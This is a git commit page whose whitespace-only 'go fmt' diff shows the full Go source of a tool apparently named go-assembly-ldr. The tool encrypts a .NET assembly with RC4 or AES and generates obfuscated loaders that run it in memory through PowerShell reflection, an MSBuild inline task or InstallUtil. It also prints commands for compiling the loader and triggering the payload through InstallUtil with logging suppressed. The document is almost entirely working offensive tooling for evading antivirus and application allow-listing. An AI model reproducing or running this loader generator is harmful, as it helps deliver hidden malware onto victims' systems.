diff options
author | heqnx <root@heqnx.com> | 2025-05-21 16:41:13 +0300 |
---|---|---|
committer | heqnx <root@heqnx.com> | 2025-05-21 16:41:13 +0300 |
commit | ffb3375215bc238578745802d2c8f8805d64048f (patch) | |
tree | 7b9e9094c02ecc283eafcb9690313875c3fc4680 | |
parent | 3ec71d4cab2aeb0c1e0b6ec9fbd6ca54c6812947 (diff) | |
download | go-assembly-ldr-ffb3375215bc238578745802d2c8f8805d64048f.tar.gz go-assembly-ldr-ffb3375215bc238578745802d2c8f8805d64048f.zip |
go fmt
-rw-r--r-- | main.go | 600 |
1 files changed, 300 insertions, 300 deletions
@@ -1,149 +1,149 @@ package main import ( - "crypto/aes" - "crypto/cipher" - cryptoRand "crypto/rand" - "encoding/base64" - "flag" - "fmt" - "io/ioutil" - mathRand "math/rand" - "os" - "path/filepath" - "regexp" - "strings" - "time" + "crypto/aes" + "crypto/cipher" + cryptoRand "crypto/rand" + "encoding/base64" + "flag" + "fmt" + "io/ioutil" + mathRand "math/rand" + "os" + "path/filepath" + "regexp" + "strings" + "time" ) const keySpace = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" const keySpaceForKeys = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" func rc4(key, data []byte) []byte { - s := make([]int, 256) - for i := 0; i < 256; i++ { - s[i] = i - } - j := 0 - for i := 0; i < 256; i++ { - j = (j + s[i] + int(key[i%len(key)])) % 256 - s[i], s[j] = s[j], s[i] - } - - encrypted := make([]byte, len(data)) - i, j := 0, 0 - for k := 0; k < len(data); k++ { - i = (i + 1) % 256 - j = (j + s[i]) % 256 - s[i], s[j] = s[j], s[i] - t := (s[i] + s[j]) % 256 - encrypted[k] = data[k] ^ byte(s[t]) - } - return encrypted + s := make([]int, 256) + for i := 0; i < 256; i++ { + s[i] = i + } + j := 0 + for i := 0; i < 256; i++ { + j = (j + s[i] + int(key[i%len(key)])) % 256 + s[i], s[j] = s[j], s[i] + } + + encrypted := make([]byte, len(data)) + i, j := 0, 0 + for k := 0; k < len(data); k++ { + i = (i + 1) % 256 + j = (j + s[i]) % 256 + s[i], s[j] = s[j], s[i] + t := (s[i] + s[j]) % 256 + encrypted[k] = data[k] ^ byte(s[t]) + } + return encrypted } func aesEncrypt(key, data []byte) ([]byte, []byte, error) { - block, err := aes.NewCipher(key) - if err != nil { - return nil, nil, fmt.Errorf("[err] failed to create AES cipher: %v", err) - } + block, err := aes.NewCipher(key) + if err != nil { + return nil, nil, fmt.Errorf("[err] failed to create AES cipher: %v", err) + } - iv := make([]byte, aes.BlockSize) - if _, err := cryptoRand.Read(iv); err != nil { - return nil, nil, fmt.Errorf("[err] failed to generate IV: %v", err) - } + iv := make([]byte, aes.BlockSize) + if _, err := cryptoRand.Read(iv); err != nil { + return nil, nil, fmt.Errorf("[err] failed to generate IV: %v", err) + } - paddedData := padData(data, aes.BlockSize) - ciphertext := make([]byte, len(paddedData)) + paddedData := padData(data, aes.BlockSize) + ciphertext := make([]byte, len(paddedData)) - mode := cipher.NewCBCEncrypter(block, iv) - mode.CryptBlocks(ciphertext, paddedData) + mode := cipher.NewCBCEncrypter(block, iv) + mode.CryptBlocks(ciphertext, paddedData) - return ciphertext, iv, nil + return ciphertext, iv, nil } func padData(data []byte, blockSize int) []byte { - padding := blockSize - len(data)%blockSize - padText := make([]byte, len(data)+padding) - copy(padText, data) - for i := len(data); i < len(padText); i++ { - padText[i] = byte(padding) - } - return padText + padding := blockSize - len(data)%blockSize + padText := make([]byte, len(data)+padding) + copy(padText, data) + for i := len(data); i < len(padText); i++ { + padText[i] = byte(padding) + } + return padText } func encryptData(encryptionType string, key []byte, data []byte) (ciphertext []byte, iv []byte, err error) { - if encryptionType == "rc4" { - ciphertext = rc4(key, data) - return ciphertext, nil, nil - } else if encryptionType == "aes" { - ciphertext, iv, err = aesEncrypt(key, data) - if err != nil { - return nil, nil, err - } - return ciphertext, iv, nil - } - return nil, nil, fmt.Errorf("[err] unsupported encryption type: %s", encryptionType) + if encryptionType == "rc4" { + ciphertext = rc4(key, data) + return ciphertext, nil, nil + } else if encryptionType == "aes" { + ciphertext, iv, err = aesEncrypt(key, data) + if err != nil { + return nil, nil, err + } + return ciphertext, iv, nil + } + return nil, nil, fmt.Errorf("[err] unsupported encryption type: %s", encryptionType) } func generatePassword(length int) string { - b := make([]byte, length) - for i := range b { - b[i] = keySpaceForKeys[mathRand.Intn(len(keySpaceForKeys))] - } - return string(b) + b := make([]byte, length) + for i := range b { + b[i] = keySpaceForKeys[mathRand.Intn(len(keySpaceForKeys))] + } + return string(b) } func obfuscate(s string, length int) (string, error) { - if length <= 0 { - return "", fmt.Errorf("[err] length must be a positive integer") - } - - placeholderValues := make(map[string]string) - re := regexp.MustCompile(`<%=obf (.*?) %>`) - - result := re.ReplaceAllStringFunc(s, func(match string) string { - placeholder := re.FindStringSubmatch(match)[1] - if val, exists := placeholderValues[placeholder]; exists { - return val - } - - var randomString strings.Builder - for i := 0; i < length; i++ { - randomString.WriteByte(keySpace[mathRand.Intn(len(keySpace))]) - } - placeholderValues[placeholder] = randomString.String() - return placeholderValues[placeholder] - }) - - return result, nil + if length <= 0 { + return "", fmt.Errorf("[err] length must be a positive integer") + } + + placeholderValues := make(map[string]string) + re := regexp.MustCompile(`<%=obf (.*?) %>`) + + result := re.ReplaceAllStringFunc(s, func(match string) string { + placeholder := re.FindStringSubmatch(match)[1] + if val, exists := placeholderValues[placeholder]; exists { + return val + } + + var randomString strings.Builder + for i := 0; i < length; i++ { + randomString.WriteByte(keySpace[mathRand.Intn(len(keySpace))]) + } + placeholderValues[placeholder] = randomString.String() + return placeholderValues[placeholder] + }) + + return result, nil } func generatePowerShellLdr(filePath string, obfuscationLength, keyLength int, encryptionType string) error { - data, err := ioutil.ReadFile(filePath) - if err != nil { - return fmt.Errorf("[err] failed to read file: %v", err) - } - - key := []byte(generatePassword(keyLength)) - ciphertext, iv, err := encryptData(encryptionType, key, data) - if err != nil { - return fmt.Errorf("[err] encryption failed: %v", err) - } - - b64 := base64.StdEncoding.EncodeToString(ciphertext) - b64IV := "" - if encryptionType == "aes" { - b64IV = base64.StdEncoding.EncodeToString(iv) - } - - baseName := filepath.Base(filePath) - assemblyName := strings.TrimSuffix(baseName, filepath.Ext(baseName)) + ".exe" - outputFile := fmt.Sprintf("%s_reflective.ps1", assemblyName) - - template := "" - if encryptionType == "rc4" { - template = ` + data, err := ioutil.ReadFile(filePath) + if err != nil { + return fmt.Errorf("[err] failed to read file: %v", err) + } + + key := []byte(generatePassword(keyLength)) + ciphertext, iv, err := encryptData(encryptionType, key, data) + if err != nil { + return fmt.Errorf("[err] encryption failed: %v", err) + } + + b64 := base64.StdEncoding.EncodeToString(ciphertext) + b64IV := "" + if encryptionType == "aes" { + b64IV = base64.StdEncoding.EncodeToString(iv) + } + + baseName := filepath.Base(filePath) + assemblyName := strings.TrimSuffix(baseName, filepath.Ext(baseName)) + ".exe" + outputFile := fmt.Sprintf("%s_reflective.ps1", assemblyName) + + template := "" + if encryptionType == "rc4" { + template = ` function <%=obf RC4Decrypt %> { param ( [byte[]]$<%=obf data %>, @@ -173,8 +173,8 @@ $<%=obf bytes %> = [Convert]::FromBase64String("{b64}") [byte[]]$<%=obf decrypted %> = <%=obf RC4Decrypt %> -<%=obf data %> $<%=obf bytes %> -<%=obf key %> $<%=obf key %> [Reflection.Assembly]::Load($<%=obf decrypted %>) ` - } else { - template = ` + } else { + template = ` function <%=obf AESDecrypt %> { param($<%=obf aesKey %>, $<%=obf aesIv %>, $<%=obf encryptedAssembly %>) $<%=obf iv %> = [Convert]::FromBase64String($<%=obf aesIv %>) @@ -199,63 +199,63 @@ $<%=obf encryptedAssembly %> = "{b64}" [byte[]]$<%=obf decryptedBytes %> = <%=obf AESDecrypt %> -<%=obf aesKey %> $<%=obf key %> -<%=obf aesIv %> $<%=obf iv %> -<%=obf encryptedAssembly %> $<%=obf encryptedAssembly %> [Reflection.Assembly]::Load($<%=obf decryptedBytes %>) ` - } - - template = strings.ReplaceAll(template, "{key}", string(key)) - template = strings.ReplaceAll(template, "{b64}", b64) - if encryptionType == "aes" { - template = strings.ReplaceAll(template, "{b64IV}", b64IV) - } - - obfuscated, err := obfuscate(template, obfuscationLength) - if err != nil { - return fmt.Errorf("[err] obfuscation failed: %v", err) - } - - err = ioutil.WriteFile(outputFile, []byte(obfuscated), 0644) - if err != nil { - return fmt.Errorf("[err] failed to write output file: %v", err) - } - - fmt.Printf("[inf] created \"%s\" containing \"%s\"\n", outputFile, filePath) - fmt.Println("[inf] call assembly method with [<namespace>.<class>]::<method>(\"arg1 arg2\".Split())") - return nil + } + + template = strings.ReplaceAll(template, "{key}", string(key)) + template = strings.ReplaceAll(template, "{b64}", b64) + if encryptionType == "aes" { + template = strings.ReplaceAll(template, "{b64IV}", b64IV) + } + + obfuscated, err := obfuscate(template, obfuscationLength) + if err != nil { + return fmt.Errorf("[err] obfuscation failed: %v", err) + } + + err = ioutil.WriteFile(outputFile, []byte(obfuscated), 0644) + if err != nil { + return fmt.Errorf("[err] failed to write output file: %v", err) + } + + fmt.Printf("[inf] created \"%s\" containing \"%s\"\n", outputFile, filePath) + fmt.Println("[inf] call assembly method with [<namespace>.<class>]::<method>(\"arg1 arg2\".Split())") + return nil } func generateMSBuildLdr(filePath string, obfuscationLength, keyLength int, dotnetArch, encryptionType string) error { - data, err := ioutil.ReadFile(filePath) - if err != nil { - return fmt.Errorf("[err] failed to read file: %v", err) - } - - key := []byte(generatePassword(keyLength)) - ciphertext, iv, err := encryptData(encryptionType, key, data) - if err != nil { - return fmt.Errorf("[err] encryption failed: %v", err) - } - - b64 := base64.StdEncoding.EncodeToString(ciphertext) - b64IV := "" - if encryptionType == "aes" { - b64IV = base64.StdEncoding.EncodeToString(iv) - } - - archPath := "" - if dotnetArch == "x86" { - archPath = "" - } else { - archPath = "64" - } - - binSize := len(ciphertext) - - baseName := filepath.Base(filePath) - assemblyName := strings.TrimSuffix(baseName, filepath.Ext(baseName)) + ".exe" - outputFile := fmt.Sprintf("%s_msbuild.csproj", assemblyName) - - template := "" - if encryptionType == "rc4" { - template = ` + data, err := ioutil.ReadFile(filePath) + if err != nil { + return fmt.Errorf("[err] failed to read file: %v", err) + } + + key := []byte(generatePassword(keyLength)) + ciphertext, iv, err := encryptData(encryptionType, key, data) + if err != nil { + return fmt.Errorf("[err] encryption failed: %v", err) + } + + b64 := base64.StdEncoding.EncodeToString(ciphertext) + b64IV := "" + if encryptionType == "aes" { + b64IV = base64.StdEncoding.EncodeToString(iv) + } + + archPath := "" + if dotnetArch == "x86" { + archPath = "" + } else { + archPath = "64" + } + + binSize := len(ciphertext) + + baseName := filepath.Base(filePath) + assemblyName := strings.TrimSuffix(baseName, filepath.Ext(baseName)) + ".exe" + outputFile := fmt.Sprintf("%s_msbuild.csproj", assemblyName) + + template := "" + if encryptionType == "rc4" { + template = ` <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Target Name="<%=obf GhostBuild %>"> <<%=obf GhostBuilder %>/> @@ -324,8 +324,8 @@ func generateMSBuildLdr(filePath string, obfuscationLength, keyLength int, dotne </UsingTask> </Project> ` - } else { - template = ` + } else { + template = ` <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Target Name="<%=obf GhostBuild %>"> <<%=obf GhostBuilder %>/> @@ -385,58 +385,58 @@ func generateMSBuildLdr(filePath string, obfuscationLength, keyLength int, dotne </UsingTask> </Project> ` - } - - template = strings.ReplaceAll(template, "{key}", string(key)) - template = strings.ReplaceAll(template, "{b64}", b64) - template = strings.ReplaceAll(template, "{binSize}", fmt.Sprintf("%d", binSize)) - template = strings.ReplaceAll(template, "<%=obf arch %>", archPath) - if encryptionType == "aes" { - template = strings.ReplaceAll(template, "{b64IV}", b64IV) - } - - obfuscated, err := obfuscate(template, obfuscationLength) - if err != nil { - return fmt.Errorf("[err] obfuscation failed: %v", err) - } - - err = ioutil.WriteFile(outputFile, []byte(obfuscated), 0644) - if err != nil { - return fmt.Errorf("[err] failed to write output file: %v", err) - } - - fmt.Printf("[inf] created \"%s\" containing \"%s\"\n", outputFile, filePath) - fmt.Println("[inf] change \"string[] <var> = new string[] { \"\" };\" to add arguments") - return nil + } + + template = strings.ReplaceAll(template, "{key}", string(key)) + template = strings.ReplaceAll(template, "{b64}", b64) + template = strings.ReplaceAll(template, "{binSize}", fmt.Sprintf("%d", binSize)) + template = strings.ReplaceAll(template, "<%=obf arch %>", archPath) + if encryptionType == "aes" { + template = strings.ReplaceAll(template, "{b64IV}", b64IV) + } + + obfuscated, err := obfuscate(template, obfuscationLength) + if err != nil { + return fmt.Errorf("[err] obfuscation failed: %v", err) + } + + err = ioutil.WriteFile(outputFile, []byte(obfuscated), 0644) + if err != nil { + return fmt.Errorf("[err] failed to write output file: %v", err) + } + + fmt.Printf("[inf] created \"%s\" containing \"%s\"\n", outputFile, filePath) + fmt.Println("[inf] change \"string[] <var> = new string[] { \"\" };\" to add arguments") + return nil } func generateInstallUtilLdr(filePath string, obfuscationLength, keyLength int, encryptionType string) error { - data, err := ioutil.ReadFile(filePath) - if err != nil { - return fmt.Errorf("[err] failed to read file: %v", err) - } - - key := []byte(generatePassword(keyLength)) - ciphertext, iv, err := encryptData(encryptionType, key, data) - if err != nil { - return fmt.Errorf("[err] encryption failed: %v", err) - } - - b64 := base64.StdEncoding.EncodeToString(ciphertext) - b64IV := "" - if encryptionType == "aes" { - b64IV = base64.StdEncoding.EncodeToString(iv) - } - - binSize := len(ciphertext) - - baseName := filepath.Base(filePath) - assemblyName := strings.TrimSuffix(baseName, filepath.Ext(baseName)) - outputFile := fmt.Sprintf("%s.cs", assemblyName) - - template := "" - if encryptionType == "rc4" { - template = ` + data, err := ioutil.ReadFile(filePath) + if err != nil { + return fmt.Errorf("[err] failed to read file: %v", err) + } + + key := []byte(generatePassword(keyLength)) + ciphertext, iv, err := encryptData(encryptionType, key, data) + if err != nil { + return fmt.Errorf("[err] encryption failed: %v", err) + } + + b64 := base64.StdEncoding.EncodeToString(ciphertext) + b64IV := "" + if encryptionType == "aes" { + b64IV = base64.StdEncoding.EncodeToString(iv) + } + + binSize := len(ciphertext) + + baseName := filepath.Base(filePath) + assemblyName := strings.TrimSuffix(baseName, filepath.Ext(baseName)) + outputFile := fmt.Sprintf("%s.cs", assemblyName) + + template := "" + if encryptionType == "rc4" { + template = ` using System; using System.IO; using System.Text; @@ -511,8 +511,8 @@ namespace <%=obf Namespace %> } } ` - } else { - template = ` + } else { + template = ` using System; using System.IO; using System.Text; @@ -578,83 +578,83 @@ namespace <%=obf Namespace %> } } ` - } - - template = strings.ReplaceAll(template, "{key}", string(key)) - template = strings.ReplaceAll(template, "{b64}", b64) - template = strings.ReplaceAll(template, "{binSize}", fmt.Sprintf("%d", binSize)) - if encryptionType == "aes" { - template = strings.ReplaceAll(template, "{b64IV}", b64IV) - } - - obfuscated, err := obfuscate(template, obfuscationLength) - if err != nil { - return fmt.Errorf("[err] obfuscation failed: %v", err) - } - - err = ioutil.WriteFile(outputFile, []byte(obfuscated), 0644) - if err != nil { - return fmt.Errorf("[err] failed to write output file: %v", err) - } - - fmt.Printf("[inf] created \"%s\" containing \"%s\"\n", outputFile, filePath) - fmt.Printf("[inf] compile with: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /platform:x64|x86 /out:%s.exe %s\n", assemblyName, outputFile) - fmt.Printf("[inf] uninstall to execute payload: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /U /logfile= /LogToConsole=false %s.exe\n", assemblyName) - return nil + } + + template = strings.ReplaceAll(template, "{key}", string(key)) + template = strings.ReplaceAll(template, "{b64}", b64) + template = strings.ReplaceAll(template, "{binSize}", fmt.Sprintf("%d", binSize)) + if encryptionType == "aes" { + template = strings.ReplaceAll(template, "{b64IV}", b64IV) + } + + obfuscated, err := obfuscate(template, obfuscationLength) + if err != nil { + return fmt.Errorf("[err] obfuscation failed: %v", err) + } + + err = ioutil.WriteFile(outputFile, []byte(obfuscated), 0644) + if err != nil { + return fmt.Errorf("[err] failed to write output file: %v", err) + } + + fmt.Printf("[inf] created \"%s\" containing \"%s\"\n", outputFile, filePath) + fmt.Printf("[inf] compile with: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /platform:x64|x86 /out:%s.exe %s\n", assemblyName, outputFile) + fmt.Printf("[inf] uninstall to execute payload: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /U /logfile= /LogToConsole=false %s.exe\n", assemblyName) + return nil } func main() { - filePath := flag.String("f", "", "input file path") - outputType := flag.String("t", "powershell", "loader type: powershell|msbuild|installutil") - encryptionType := flag.String("e", "rc4", "encryption type: rc4|aes") - obfuscationLength := flag.Int("obf-len", 8, "length of obfuscated strings") - keyLength := flag.Int("key-len", 32, "length of encryption key") - dotnetArch := flag.String("dotnet-architecture", "x64", ".net architecture for msbuild: x86|x64") - flag.Parse() - - if *filePath == "" { - fmt.Println("[err] -f/--file is required") - flag.Usage() - os.Exit(1) - } - if *outputType != "powershell" && *outputType != "msbuild" && *outputType != "installutil" { - fmt.Println("[err] -t/--type must be 'powershell', 'msbuild', or 'installutil'") - flag.Usage() - os.Exit(1) - } - if *encryptionType != "rc4" && *encryptionType != "aes" { - fmt.Println("[err] -e/--encryption must be 'rc4' or 'aes'") - flag.Usage() - os.Exit(1) - } - if *obfuscationLength <= 0 { - fmt.Println("[err] -obf-len must be a positive integer") - flag.Usage() - os.Exit(1) - } - if *keyLength <= 0 || (*encryptionType == "aes" && *keyLength != 32) { - fmt.Println("[err] -key-len must be a positive integer, 32 for AES") - flag.Usage() - os.Exit(1) - } - if *outputType == "msbuild" && *dotnetArch != "x86" && *dotnetArch != "x64" { - fmt.Println("[err] --dotnet-architecture must be 'x86' or 'x64'") - flag.Usage() - os.Exit(1) - } - - mathRand.Seed(time.Now().UnixNano()) - - var err error - if *outputType == "powershell" { - err = generatePowerShellLdr(*filePath, *obfuscationLength, *keyLength, *encryptionType) - } else if *outputType == "msbuild" { - err = generateMSBuildLdr(*filePath, *obfuscationLength, *keyLength, *dotnetArch, *encryptionType) - } else { - err = generateInstallUtilLdr(*filePath, *obfuscationLength, *keyLength, *encryptionType) - } - if err != nil { - fmt.Printf("[err] %v\n", err) - os.Exit(1) - } + filePath := flag.String("f", "", "input file path") + outputType := flag.String("t", "powershell", "loader type: powershell|msbuild|installutil") + encryptionType := flag.String("e", "rc4", "encryption type: rc4|aes") + obfuscationLength := flag.Int("obf-len", 8, "length of obfuscated strings") + keyLength := flag.Int("key-len", 32, "length of encryption key") + dotnetArch := flag.String("dotnet-architecture", "x64", ".net architecture for msbuild: x86|x64") + flag.Parse() + + if *filePath == "" { + fmt.Println("[err] -f/--file is required") + flag.Usage() + os.Exit(1) + } + if *outputType != "powershell" && *outputType != "msbuild" && *outputType != "installutil" { + fmt.Println("[err] -t/--type must be 'powershell', 'msbuild', or 'installutil'") + flag.Usage() + os.Exit(1) + } + if *encryptionType != "rc4" && *encryptionType != "aes" { + fmt.Println("[err] -e/--encryption must be 'rc4' or 'aes'") + flag.Usage() + os.Exit(1) + } + if *obfuscationLength <= 0 { + fmt.Println("[err] -obf-len must be a positive integer") + flag.Usage() + os.Exit(1) + } + if *keyLength <= 0 || (*encryptionType == "aes" && *keyLength != 32) { + fmt.Println("[err] -key-len must be a positive integer, 32 for AES") + flag.Usage() + os.Exit(1) + } + if *outputType == "msbuild" && *dotnetArch != "x86" && *dotnetArch != "x64" { + fmt.Println("[err] --dotnet-architecture must be 'x86' or 'x64'") + flag.Usage() + os.Exit(1) + } + + mathRand.Seed(time.Now().UnixNano()) + + var err error + if *outputType == "powershell" { + err = generatePowerShellLdr(*filePath, *obfuscationLength, *keyLength, *encryptionType) + } else if *outputType == "msbuild" { + err = generateMSBuildLdr(*filePath, *obfuscationLength, *keyLength, *dotnetArch, *encryptionType) + } else { + err = generateInstallUtilLdr(*filePath, *obfuscationLength, *keyLength, *encryptionType) + } + if err != nil { + fmt.Printf("[err] %v\n", err) + os.Exit(1) + } } |